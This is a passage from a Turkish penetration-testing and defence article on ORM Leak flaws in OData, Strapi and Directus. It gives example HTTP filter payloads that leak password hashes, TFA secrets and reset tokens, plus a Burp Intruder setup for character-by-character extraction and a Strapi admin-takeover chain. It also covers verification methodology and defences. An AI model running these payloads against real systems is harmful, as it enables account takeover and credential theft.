Geliştirici DTO (Data Transfer Object) katmanında hassas bir alanı yanıttan gizlemiş olsa bile, EDM (Entity Data Model) o alanı tanımlıyorsa $filter üzerinden sorgulanabilir. Yanıtta görünmemek, filtrelenebilir olmamak anlamına gelmez.
Tespit: Bir alanın var olup olmadığını tahmin etmeye gerek yok. EDM şeması doğrudan /$metadata uç noktasından çekilebilir. Bir alan API yanıtında hiç görünmese bile burada görünür: örneğin geliştirici doğrudan eklemediği halde, Article ile ilişkisi nedeniyle EDM'e dahil olan bir User modeli de bu listede yer alır. Bir alanın EDM şemasında bulunması, yetkisiz biçimde $filter ile sorgulanabildiğini tek başına kanıtlamaz. Bu ayrıca test edilmelidir.
GET /odata/$metadata HTTP/1.1
Host: target.com
GET /odata/Users?$filter=startswith(PasswordHash, 'AQAAAAEAACcQ') HTTP/1.1
Host: target.com
veya karşılaştırma operatörleriyle, hedef kaydı sabitleyen bir eşitlik koşuluyla birlikte (bkz. 3.5; $top=1 tek başına hedef kaydı sabitlemez):
GET /odata/Articles?$filter=Id eq 42 and CreatedBy/TfaSecret ge 'M'&$top=1 HTTP/1.1
Host: target.com
Navigation property'ler (CreatedBy/Token, CreatedBy/User/Password) üzerinden Django/Beego'dakine benzer ilişkisel pivotlar da mümkündür.
Aynı karşılaştırma tekniği, bir alanın tam değerini sızdırmak için de kullanılır: binary search ile tek karakterden tüm değere genişler (bkz. 3.5).
Genel helper fonksiyonlarının riski (Directus CVE-2025-64748): Bazı uygulamalar, her string alanı otomatik olarak .Contains(term) içine sararak genel bir "her şeyi ara" özelliği sunar (reflection tabanlı arama yardımcıları). Directus'ta directus_users arama endpoint'i, ürettiği LIKE koşullarına token, tfa_secret ve password gibi gizli (concealed) alanları da dahil ediyordu; eşleşen kayıtlar maskelenmiş değerle dönse de yalnızca eşleşmenin var olup olmadığı tek başına bir sızıntı oracle'ı haline geliyordu (GHSA-8jpw-gpr4-8cmh, CVSS 6.5, düzeltme 11.13.0). İstismar edilebilmesi için saldırganın ilgili koleksiyon/kullanıcı kaydı üzerinde en az okuma (read) yetkisine sahip olması gerekir; bu, kimlik doğrulamasız/sıfır-yetki bir zafiyet değildir.
Tespit: En güvenli doğrulama kendi hesabınız üzerindendir: kendi token veya password alanınızdan bildiğiniz bir alt diziyi (örn. hash'inizin bir parçasını) genel arama kutusuna girin. Kendi kaydınız arama sonucunda çıkıyorsa, test edilen koşullarda alanın arama sorgusuna dahil olduğuna dair doğrudan kanıt elde edilmiş olur. Eşleşme olmaması tek başına alanın hariç tutulduğunu kanıtlamaz. İzin yapılandırması, arama davranışı (örn. büyük/küçük harf duyarlılığı) veya denenen alt dizinin kendisi de sonucu etkileyebilir; bunlar ayrıca incelenmelidir.
3.9 Query Parametre Doğrulamasının Atlatılması: Strapi CVE-2026-27886
Strapi'de (Node.js tabanlı headless CMS) 2026'da bulunan CVE-2026-27886'nın kök nedeni: doğrulamanın atladığı alanların sorgu motoruna sessizce geçirilmesi.
Strapi'nin Content API'si, gelen isteklerde yalnızca belgelenmiş anahtarları (filters, sort, fields, populate) doğruluyor, ancak tanınmayan üst seviye anahtarları reddetmek yerine olduğu gibi koruyordu. Sorgu dönüştürücü bu bilinmeyen anahtarları (...rest ile) iç veritabanı sorgu oluşturucusuna taşıyordu. Yani belgelenmemiş bir where anahtarı, hiç doğrulanmadan gerçek bir sorgu ağacına dönüşebiliyordu:
GET /api/articles?where[updatedBy][resetPasswordToken][$startsWith]=d HTTP/1.1
Host: target.com
Mantık:
updatedByilişkisi, herkese açıkarticleskoleksiyonunu içadmin_userstablosuna bağlıyor.resetPasswordTokenveemailgibi alanlar JSON yanıtında hiç görünmüyor, ama sorgu koşulunu etkiliyorlar.- Strapi'nin
meta.pagination.totalalanı, eşleşme olup olmadığını (0 veya >0) doğrudan gösteren bir boolean oracle sağlıyor.
Tespit (parola sıfırlamadan güvenli doğrulama): Her zaman yanlış olan bir koşulla temel yanıt karşılaştırılır:
GET /api/articles HTTP/1.1
GET /api/articles?where[id][$lt]=-1 HTTP/1.1
Zafiyetli hedefte ikinci istek meta.pagination.total değerini değiştirir (genellikle 0'a düşürür); yamalı hedefte bilinmeyen where anahtarı ayıklandığı için değer aynı kalır. Bu testin anlamlı olması, id değerinin gerçekten hiçbir kayıtla eşleşmeyen bir değer (-1) olmasına dayanır; hedefte negatif veya sıfır id'li kayıtlar varsa farklı bir kesin-yanlış koşul seçilmelidir.
Etki: Bu zafiyet kimlik doğrulama gerektirmez, ancak koşulsuz değildir. Public rolünün ilgili içerik türü için find iznine sahip olması, yöneticinin de en az bir koleksiyonu herkese açık yapmış olması gerekir. Hedeflenen admin kaydının updatedBy/createdBy gibi bir alanla bu koleksiyona bağlı olması da şarttır (adminler panelden içerik oluşturdukça bu doğal oluşur); bu ön koşullar her hedefte ayrıca doğrulanmalıdır. Sağlandığında saldırgan, resetPasswordToken'ı karakter karakter sızdırıp /admin/forgot-password → /admin/reset-password akışına enjekte ederek Super Admin hesabını ele geçirebilir (bkz. Gerçek Dünya Örnekleri).
4. Gerçek Dünya Örnekleri
| Ürün / Zafiyet | Temel Sorun | Ön Koşul | Düzeltme |
|---|---|---|---|
| Harbor (CVE-2025-30086) | Filtre doğrulamasının parser davranışıyla atlatılması (bkz. 3.7) | administrator rolü | 2.12.4 / 2.13.1 (CVSS 4.9) |
| Strapi (CVE-2026-27886) | Bilinmeyen where parametresinin sorgu motoruna sessizce geçmesi (bkz. 3.9) | Hedef içerik türünde Public rolüne find izni | 5.37.0 |
| Directus (CVE-2025-64748) | Genel aramanın gizli alanları da sorgulaması (bkz. 3.8) | İlgili kayıt üzerinde en az read yetkisi | 11.13.0 (CVSS 6.5) |
5. Doğrulama ve Test Metodolojisi
Oracle tabanlı çıkarıma başlamadan önce, bilinen-doğru ve bilinen-yanlış koşulların gerçekten ayırt edilebilir sonuçlar ürettiği doğrulanmalıdır. Bu, altı kısa ilkede özetlenebilir:
1. Baseline karşılaştırma: Bilinen-doğru ve bilinen-yanlış iki koşulun gerçekten farklı yanıt ürettiği, oracle'a güvenmeden önce doğrulanmalıdır.
2. Hedef kaydı sabitleme: Birden fazla kayıtla eşleşebilen bir oracle güvenilir değildir; filtre tek bir kaydı (veya bilinen sabit bir kayıt kümesini) sabitlemelidir.
3. Alternatif açıklamaları eleme: Boş/aynı yanıt "yanlış karakter"den değil, filtrenin sessizce reddedilmesinden, bir yetki kontrolünden veya ilişki yolunun geçersiz olmasından da kaynaklanabilir.
4. Collation ve büyük/küçük harf duyarlılığı doğrulaması: Karakter karakter çıkarım, veritabanının collation ayarına göre yanlış sonuç verebilir.
- MySQL, MariaDB ve MSSQL'de kullanılan collation ayarları sıkça case-insensitive karşılaştırmalara yol açar, ancak bu kesin bir varsayım değildir; davranış sürüme ve seçilen collation'a göre değişir, her ortamda ayrıca doğrulanmalıdır. Case-insensitive bir collation'da
password__startswith=asorgusu, parola hem küçükahem de büyükAile başladığında True dönebilir; Bcrypt, JWT veya Base64 gibi case-sensitive değerlerde yanlış sonuca yol açar. SQLite'ın davranışı ayrı ele alınmalıdır: - SQLite'ın
LIKEoperatörü özel bir collation tanımlanmadıkça ASCII harflerde case-insensitive çalışır; case-sensitive çıkarım için__regexgibi operatörler gerekebilir. - Prisma ve Entity Framework, karşılaştırmalarda veritabanının kendi sıralama kurallarını izler. Örneğin MSSQL'in
SQL_Latin1_General_CP1_CI_AScollation'ı noktalama işaretlerini rakam ve harflerden önce sıralar; binary search probları ham ASCII byte sırası yerine bu sıralamayı takip etmelidir. - Pratik çözüm, karakter sınıfı ile case-insensitive LIKE'ı aşma: PentesterLab'in ORM Leak lab serisi, bilinen bir karakter dizisindeki her harfi
[aA]gibi büyük/küçük iki alternatifi kapsayan bir karakter sınıfına çevirip__regexile doğru kombinasyonu dener (regex motoru case-sensitive çalıştığı için işe yarar).$,/,=gibi özel karakterlerin escape edilmesi gerekir. PentesterLab bu sınırlama nedeniyle ilk ORM Leak lab'larını SQLite'tan MySQL'e taşımak zorunda kalmıştır.
5. İstatistiksel doğrulama (zaman tabanlı teknikler için): Tek bir timing ölçümü ağ/uygulama gürültüsünü dışlamaz; çok sayıda denemenin istatistiksel olarak karşılaştırılması, mümkünse üretilen SQL/sorgu planının incelenmesi gerekir.
6. Etki zincirinin sonuna kadar doğrulanması: Bir oracle'ın var olması, iddia edilen nihai etkinin (hesap ele geçirme, tam veri çıkarımı) otomatik olarak gerçekleştiği anlamına gelmez; zincirin her adımı ayrı ayrı doğrulanmalıdır.
6. Burp Suite Intruder ile Karakter Sızdırma
Zafiyetli filtreleme isteğini yakalayın ve CTRL + I ile Intruder modülüne gönderin. Parola veya token tahmininin yapıldığı parametrenin sonuna payload işaretleyicisini (§) ekleyin. Aşağıdaki $2b$12$ öneki bcrypt'e özgüdür (3.3'teki Django PBKDF2 örneğinden farklıdır), hedefin gerçek hash/token formatına göre değiştirilmelidir:
GET /api/articles?created_by__user__password__startswith=$2b$12$§a§ HTTP/1.1
Payloads sekmesinde Payload Type olarak Simple list seçin ve alfanümerik karakterler ile hash sembollerini (a-z, A-Z, 0-9, $, ., /) listeye ekleyin.
Settings → Grep - Match bölümüne, yalnızca gerçek pozitif durumda görünecek, hedef kayda özgü bir ifade girin. Genel "id" gibi her yanıtta zaten var olabilecek bir alanı kullanmak yanlış pozitif üretebilir. Eşleşme kriteri hedef kayıtla ve filtre koşuluyla doğrudan ilişkili olmalı, her karakter denemesinde aynı hedef kaydın ve aynı filtre koşulunun değerlendirildiğinden emin olunmalıdır.
7. Savunma ve Önleme
ORM sorgularına kullanıcı girdisi aktarılırken izin verilen alanlar, operatörler ve ilişki yolları açıkça tanımlanmalıdır. Doğrulama, sorgu oluşturucunun girdiyi yorumladığı biçimle aynı yapıyı esas almalıdır:
- Hem alan hem operatör için Strict Allow-List: Yalnızca ilk filtre alanını veya tek bir alan adını kara listeye almak parser farklılıklarıyla atlatılabilir (bkz. 3.7; nihai çözüm hem alan hem operatör allow-list'idir). Hangi alanların hangi operatörlerle sorgulanabileceği açıkça tanımlanmalıdır (
ALLOWED_FILTERS = {'title': ['icontains'], 'created_at': ['gte', 'lte']}). - Bilinmeyen anahtarları sessizce geçirme, reddet: Doğrulanmayan üst seviye anahtarların sorgu motoruna
...restile sessizce taşınması, tek başına kimlik doğrulamasız bir admin ele geçirme zincirine dönüşebilir (bkz. 3.9). Şema doğrulaması, tanınmayan her alanı açıkça reddetmelidir. - İlişkisel Geçişlerin (JOIN) Sınırlandırılması: Kullanıcıdan alınan filtre anahtarlarında ilişkisel tablolara geçiş sağlayan
__(Django/Beego) ayracı veya iç içe JSON objeleri (Prisma) sınırlandırılmalı; izinli ilişkiler ve maksimum derinlik açıkça tanımlanmalıdır. - Tip ve Şema Doğrulaması: Node.js / Prisma kullanılan projelerde Zod veya Joi gibi şema doğrulayıcılar kullanılarak kullanıcı girdisinin bir JSON objesi (
{"not": "..."}) değil, beklenen ilkel veri tipinde (string) olduğu kesin olarak doğrulanmalıdır. - DTO / Projection Ayrımı: OData, GraphQL veya genel arama (full-text search) mekanizmalarında filtreleme doğrudan veritabanı entity'si üzerinde değil, hassas alanlardan arındırılmış bir
UserPublicDTOmodeli üzerinde çalıştırılmalıdır. Bir alanın API yanıtında gizlenmiş olması onun filtrelenemeyeceği anlamına gelmez (bkz. 3.8, Directus). - Operatör tasarımının güvenliğe katkısı: Sequelize ORM, operatörlerini string yerine JavaScript
Symboltipiyle tanımlar; bu, kullanıcı girdisinin doğrudan bir operatöre dönüşmesini zorlaştıran yapısal bir koruma sağlar. Ancak bu mutlak bir garanti değildir. Uygulama kendi eşleme katmanını veya dinamik sorgu üretimini kurarsa benzer riskler yeniden ortaya çıkabilir, bu nedenle uygulama katmanındaki doğrulamanın yerini tutmaz. - Statik Analiz: Kullanıcı girdisinin
**kwargs/req.body/req.queryüzerinden doğrudan ORM filtre metodlarına aktarıldığı noktalar Semgrep ile taranabilir. Bu kurallar her ORM/dil için ayrıdır (django-orm.yaml,beego-orm.yaml,prisma-orm.yaml,entity-framework-orm.yaml), çünkü tehlikeli "sink" her framework'te farklı görünür. Tek bir kural, model/alan adlarından bağımsız olarak o framework'ü kullanan uygulamalarda yaygın tehlikeli kalıpları yakalayabilir, ama tek başına zafiyet kanıtı oluşturmaz. Django kuralının özü:
Bu kuralpattern-either: - pattern: $MDL.objects.filter(..., **$KW, ...) - pattern: $MDL.objects.get(..., **$KW, ...) - pattern: Q(..., **$KW, ...)severity: INFOveconfidence: LOWile işaretlenmiştir. Yani kesin bulgu değil, incelenmesi gereken bir adaydır. Örneğinfilters = {k: v for k, v in request.GET.items() if k in ALLOWED_FIELDS}gibi önceden allow-list'lenmiş birkwargsda aynı sözdizimsel desene uyduğu için yanlış pozitif üretebilir; saf desen eşleştirmesi, daha önceki bir doğrulama adımını her zaman görmez. - Negatif testler: Geliştiriciler yalnızca izin verilen filtrelerin çalıştığını değil, izin verilmeyen alan/operatör/ilişki kombinasyonlarının gerçekten reddedildiğini de otomatik testlerle doğrulamalıdır. Bir allow-list'in var olması, onun doğru uygulandığının kanıtı değildir.
Sonuç
ORM Leak, kullanıcı kontrollü filtreleme ve sorgu oluşturma mekanizmalarının yeterince sınırlandırılmamasından kaynaklanan bir veri sızıntısı sınıfıdır. Parametreli sorgular, ORM filtrelerinin hangi alanlara, operatörlere ve ilişkilere erişebileceğini kendiliğinden kısıtlamaz.
Bir filtreleme uç noktası değerlendirilirken yalnızca yanıtta dönen alanlar değil, sorgulanabilen alanlar, ilişki yolları ve filtre koşullarının ürettiği yanıt farkları da incelenmelidir. Boolean, hata ve zaman oracle'ları gizli veriler hakkında çıkarım yapılmasını sağlayabilir; doğrulama hataları ise sorgu koşullarını değiştirerek daha doğrudan etkilere yol açabilir.
Temel savunma, kullanıcı girdisini doğrudan sorgu nesnesine aktarmamak, izin verilen alan, operatör ve ilişki yollarını açıkça tanımlamak, bilinmeyen anahtarları reddetmek ve bu kuralları negatif testlerle doğrulamaktır.
Teknik Referanslar ve Araçlar
- elttam: ORM Leaking More Than You Joined For (Harbor CVE-2025-30086 & Prisma
notbypass) - elttam: plORMbing your Django ORM
- elttam: plORMbing your Prisma ORM with Time-based Attacks
- Positive Security: Ransacking your password reset tokens
- Bishop Fox: CVE-2026-27886: Unauthenticated Boolean-Oracle Exfiltration of Administrator Secrets in Strapi
- GitHub Advisory: GHSA-rjg2-95x7-8qmx: Strapi Content API where-clause injection / Strapi 5.37.0 release notes
- Harbor: CVE-2025-30086 resmî güvenlik danışma belgesi (GitHub Advisory Database)
- GitHub Advisory: GHSA-8jpw-gpr4-8cmh: Directus concealed fields searchable (CVE-2025-64748)
- HackTricks: ORM Injection
- PayloadsAllTheThings: ORM Leak
- GitHub: elttam/plormber
- GitHub: elttam/semgrep-rules (ORM Leak Tespiti İçin Semgrep Kuralları)
- Bu makaledeki PoC'ler kavram kanıtı niteliğindedir; gerçek bir hedefte kullanılmadan önce o hedefin şemasına göre uyarlanmalıdır.
- PentesterLab: ORM LEAK 01, ORM LEAK 02, ORM LEAK: SQLite: gerçek Django uygulamalarına karşı admin parola hash'ini
startswith/contains/gt/regexoperatörleriyle sızdırmayı hedefleyen, PortSwigger Academy tarzı hazır ve çalışır lab'lar. Bu makaledeki 3.1/3.2 ve Collation bölümündeki teknikleri doğrudan uygulamalı olarak denemek için en uygun ortam budur.